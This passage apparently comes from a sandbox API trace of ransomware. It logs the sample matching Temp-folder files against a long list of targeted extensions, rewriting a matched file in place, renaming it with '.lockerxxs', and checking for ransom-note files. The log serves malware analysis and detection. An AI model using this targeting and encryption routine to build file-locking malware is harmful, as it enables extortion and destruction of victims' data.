(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.psd") returned 0 [0086.421] lstrlenA (lpString="*.psd") returned 5 [0086.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.vmx") returned 0 [0086.421] lstrlenA (lpString="*.vmx") returned 5 [0086.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.vmdk") returned 0 [0086.421] lstrlenA (lpString="*.vmdk") returned 6 [0086.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.vdi") returned 0 [0086.421] lstrlenA (lpString="*.vdi") returned 5 [0086.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.lay6") returned 0 [0086.421] lstrlenA (lpString="*.lay6") returned 6 [0086.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.mpeg") returned 0 [0086.421] lstrlenA (lpString="*.mpeg") returned 6 [0086.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.djvu") returned 0 [0086.421] lstrlenA (lpString="*.djvu") returned 6 [0086.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.tiff") returned 0 [0086.421] lstrlenA (lpString="*.tiff") returned 6 [0086.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.backup") returned 0 [0086.421] lstrlenA (lpString="*.backup") returned 8 [0086.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.pdf") returned 0 [0086.421] lstrlenA (lpString="*.pdf") returned 5 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.cert") returned 0 [0086.422] lstrlenA (lpString="*.cert") returned 6 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.docm") returned 0 [0086.422] lstrlenA (lpString="*.docm") returned 6 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.xlsm") returned 0 [0086.422] lstrlenA (lpString="*.xlsm") returned 6 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.dwg") returned 0 [0086.422] lstrlenA (lpString="*.dwg") returned 5 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.nd") returned 0 [0086.422] lstrlenA (lpString="*.nd") returned 4 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.tlg") returned 0 [0086.422] lstrlenA (lpString="*.tlg") returned 5 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.lgb") returned 0 [0086.422] lstrlenA (lpString="*.lgb") returned 5 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.mov") returned 0 [0086.422] lstrlenA (lpString="*.mov") returned 5 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.xdw") returned 0 [0086.422] lstrlenA (lpString="*.xdw") returned 5 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.ods") returned 0 [0086.422] lstrlenA (lpString="*.ods") returned 5 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.wav") returned 0 [0086.422] lstrlenA (lpString="*.wav") returned 5 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.mp3") returned 0 [0086.422] lstrlenA (lpString="*.mp3") returned 5 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.aiff") returned 0 [0086.422] lstrlenA (lpString="*.aiff") returned 6 [0086.422] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.flac") returned 0 [0086.423] lstrlenA (lpString="*.flac") returned 6 [0086.423] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.m4a") returned 1 [0086.423] lstrlenA (lpString="*.m4a") returned 5 [0086.423] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a" [0086.423] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a" [0086.423] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a." [0086.423] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a.lockerxxs" [0086.423] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\6mo9p tqt3w.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.424] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd920 [0086.424] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xba71d5e0, dwHighDateTime=0x1d5d8f4), lpLastAccessTime=0x407536*(dwLowDateTime=0xb267b560, dwHighDateTime=0x1d5dcda), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb267b560, dwHighDateTime=0x1d5dcda)) returned 1 [0086.424] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.424] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xd8fa, lpOverlapped=0x0) returned 1 [0086.425] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a") returned="6MO9P tQT3W.m4a" [0086.426] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.426] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xd8fa, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xd8fa, lpOverlapped=0x0) returned 1 [0086.426] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.427] CloseHandle (hObject=0x90) returned 1 [0086.427] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\6mo9p tqt3w.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\6mo9p tqt3w.m4a.lockerxxs")) returned 1 [0086.429] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x243cfc20, ftCreationTime.dwHighDateTime=0x1d5e282, ftLastAccessTime.dwLowDateTime=0x658280e0, ftLastAccessTime.dwHighDateTime=0x1d5e702, ftLastWriteTime.dwLowDateTime=0x658280e0, ftLastWriteTime.dwHighDateTime=0x1d5e702, nFileSizeHigh=0x0, nFileSizeLow=0x35b7, dwReserved0=0xda0001db, dwReserved1=0x4e00c4, cFileName="7RAxR9fqmFV25Y.m4a", cAlternateFileName="7RAXR9~1.M4A")) returned 1 [0086.429] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.429] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7RAxR9fqmFV25Y.m4a") returned 1 [0086.429] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7RAxR9fqmFV25Y.m4a") returned 1 [0086.430] lstrcmpiA (lpString1="", lpString2="7RAxR9fqmFV25Y.m4a") returned -1 [0086.430] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a") returned="6MO9P tQT3W.m4a" [0086.430] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.430] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.430] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.430] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.430] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="7RAxR9fqmFV25Y.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a" [0086.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.ems") returned 0 [0086.430] lstrlenA (lpString="*.ems") returned 5 [0086.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.db") returned 0 [0086.430] lstrlenA (lpString="*.db") returned 4 [0086.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.dbf") returned 0 [0086.430] lstrlenA (lpString="*.dbf") returned 5 [0086.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.myox") returned 0 [0086.430] lstrlenA (lpString="*.myox") returned 6 [0086.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.myo") returned 0 [0086.430] lstrlenA (lpString="*.myo") returned 5 [0086.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.qbw") returned 0 [0086.430] lstrlenA (lpString="*.qbw") returned 5 [0086.430] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.qbb") returned 0 [0086.430] lstrlenA (lpString="*.qbb") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.qbm") returned 0 [0086.431] lstrlenA (lpString="*.qbm") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.qbo") returned 0 [0086.431] lstrlenA (lpString="*.qbo") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.qbx") returned 0 [0086.431] lstrlenA (lpString="*.qbx") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.qba") returned 0 [0086.431] lstrlenA (lpString="*.qba") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.qby") returned 0 [0086.431] lstrlenA (lpString="*.qby") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.qbj") returned 0 [0086.431] lstrlenA (lpString="*.qbj") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.ofx") returned 0 [0086.431] lstrlenA (lpString="*.ofx") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.qif") returned 0 [0086.431] lstrlenA (lpString="*.qif") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.mye") returned 0 [0086.431] lstrlenA (lpString="*.mye") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.mbox") returned 0 [0086.431] lstrlenA (lpString="*.mbox") returned 6 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.eml") returned 0 [0086.431] lstrlenA (lpString="*.eml") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.pst") returned 0 [0086.431] lstrlenA (lpString="*.pst") returned 5 [0086.431] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.ost") returned 0 [0086.431] lstrlenA (lpString="*.ost") returned 5 [0086.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.idx") returned 0 [0086.432] lstrlenA (lpString="*.idx") returned 5 [0086.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.dbx") returned 0 [0086.432] lstrlenA (lpString="*.dbx") returned 5 [0086.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.sql") returned 0 [0086.432] lstrlenA (lpString="*.sql") returned 5 [0086.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.mdb") returned 0 [0086.432] lstrlenA (lpString="*.mdb") returned 5 [0086.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.fdb") returned 0 [0086.432] lstrlenA (lpString="*.fdb") returned 5 [0086.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.wab") returned 0 [0086.432] lstrlenA (lpString="*.wab") returned 5 [0086.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.dat") returned 0 [0086.432] lstrlenA (lpString="*.dat") returned 5 [0086.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.txt") returned 0 [0086.432] lstrlenA (lpString="*.txt") returned 5 [0086.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.jpeg") returned 0 [0086.432] lstrlenA (lpString="*.jpeg") returned 6 [0086.432] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.jpg") returned 0 [0086.432] lstrlenA (lpString="*.jpg") returned 5 [0086.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.png") returned 0 [0086.433] lstrlenA (lpString="*.png") returned 5 [0086.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.php") returned 0 [0086.433] lstrlenA (lpString="*.php") returned 5 [0086.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.cs") returned 0 [0086.433] lstrlenA (lpString="*.cs") returned 4 [0086.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.cpp") returned 0 [0086.433] lstrlenA (lpString="*.cpp") returned 5 [0086.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.rar") returned 0 [0086.433] lstrlenA (lpString="*.rar") returned 5 [0086.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.zip") returned 0 [0086.433] lstrlenA (lpString="*.zip") returned 5 [0086.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.html") returned 0 [0086.433] lstrlenA (lpString="*.html") returned 6 [0086.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.htm") returned 0 [0086.433] lstrlenA (lpString="*.htm") returned 5 [0086.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.xlsx") returned 0 [0086.433] lstrlenA (lpString="*.xlsx") returned 6 [0086.433] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.xls") returned 0 [0086.433] lstrlenA (lpString="*.xls") returned 5 [0086.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.mp4") returned 0 [0086.434] lstrlenA (lpString="*.mp4") returned 5 [0086.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.ppt") returned 0 [0086.434] lstrlenA (lpString="*.ppt") returned 5 [0086.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.pptx") returned 0 [0086.434] lstrlenA (lpString="*.pptx") returned 6 [0086.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.doc") returned 0 [0086.434] lstrlenA (lpString="*.doc") returned 5 [0086.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.dot") returned 0 [0086.434] lstrlenA (lpString="*.dot") returned 5 [0086.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.docx") returned 0 [0086.434] lstrlenA (lpString="*.docx") returned 6 [0086.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.7z") returned 0 [0086.434] lstrlenA (lpString="*.7z") returned 4 [0086.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.tar") returned 0 [0086.434] lstrlenA (lpString="*.tar") returned 5 [0086.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.bz2") returned 0 [0086.434] lstrlenA (lpString="*.bz2") returned 5 [0086.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.gz") returned 0 [0086.434] lstrlenA (lpString="*.gz") returned 4 [0086.434] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.mkv") returned 0 [0086.434] lstrlenA (lpString="*.mkv") returned 5 [0086.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.eml") returned 0 [0086.435] lstrlenA (lpString="*.eml") returned 5 [0086.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.msg") returned 0 [0086.435] lstrlenA (lpString="*.msg") returned 5 [0086.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.edb") returned 0 [0086.435] lstrlenA (lpString="*.edb") returned 5 [0086.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.accdb") returned 0 [0086.435] lstrlenA (lpString="*.accdb") returned 7 [0086.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.odb") returned 0 [0086.435] lstrlenA (lpString="*.odb") returned 5 [0086.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.java") returned 0 [0086.435] lstrlenA (lpString="*.java") returned 6 [0086.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.asm") returned 0 [0086.435] lstrlenA (lpString="*.asm") returned 5 [0086.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.pfx") returned 0 [0086.435] lstrlenA (lpString="*.pfx") returned 5 [0086.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.pem") returned 0 [0086.435] lstrlenA (lpString="*.pem") returned 5 [0086.435] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.p12") returned 0 [0086.436] lstrlenA (lpString="*.p12") returned 5 [0086.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.gpg") returned 0 [0086.436] lstrlenA (lpString="*.gpg") returned 5 [0086.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\7RAxR9fqmFV25Y.m4a", pszSpec="*.vsd") returned 0 [0086.436] lstrlenA (lpString="*.vsd") returned 5 [0086.436] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 